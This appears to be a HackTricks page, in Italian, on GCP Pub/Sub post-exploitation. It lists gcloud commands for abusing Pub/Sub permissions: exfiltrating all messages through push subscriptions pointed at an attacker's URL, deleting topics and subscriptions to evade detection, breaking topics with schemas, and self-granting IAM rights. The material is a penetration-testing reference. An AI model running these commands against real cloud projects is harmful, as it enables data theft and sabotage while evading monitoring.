GCP - Pub/Sub Post Exploitation

Supporta HackTricks

Pub/Sub

Per maggiori informazioni su Pub/Sub controlla la seguente pagina:

GCP - Pub/Sub Enum

pubsub.topics.publish

Pubblica un messaggio in un topic, utile per inviare dati inaspettati e attivare funzionalità inaspettate o sfruttare vulnerabilità:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Utile per impedire a un abbonamento di ricevere messaggi, magari per evitare il rilevamento.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Utile per impedire a un abbonamento di ricevere messaggi, magari per evitare il rilevamento. È possibile eliminare un topic anche con abbonamenti ad esso collegati.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Utilizza questo permesso per aggiornare alcune impostazioni del topic per interromperlo, come --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Concediti il permesso di eseguire uno qualsiasi degli attacchi precedenti.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Ottieni tutti i messaggi in un server web:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Crea un abbonamento e usalo per pull messages:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Eliminare un abbonamento potrebbe essere utile per interrompere un sistema di elaborazione dei log o qualcosa di simile:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Utilizza questo permesso per aggiornare alcune impostazioni in modo che i messaggi siano memorizzati in un luogo a cui puoi accedere (URL, Big Query table, Bucket) o semplicemente per interromperlo.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Concediti i permessi necessari per eseguire uno qualsiasi degli attacchi precedentemente commentati.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Attacca uno schema a un topic in modo che i messaggi non lo soddisfino e quindi il topic venga interrotto. Se non ci sono schemi, potrebbe essere necessario crearne uno.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Potrebbe sembrare che eliminando uno schema sarai in grado di inviare messaggi che non soddisfano lo schema. Tuttavia, poiché lo schema verrà eliminato, nessun messaggio entrerà effettivamente nel topic. Quindi questo è INUTILE:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Concediti i permessi necessari per eseguire uno qualsiasi degli attacchi precedentemente commentati.

pubsub.snapshots.create, pubsub.snapshots.seek

Questo creerà uno snapshot di tutti i messaggi non ACKed e li rimetterà nell'abbonamento. Non molto utile per un attaccante, ma eccolo qui:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Supporta HackTricks

Last updated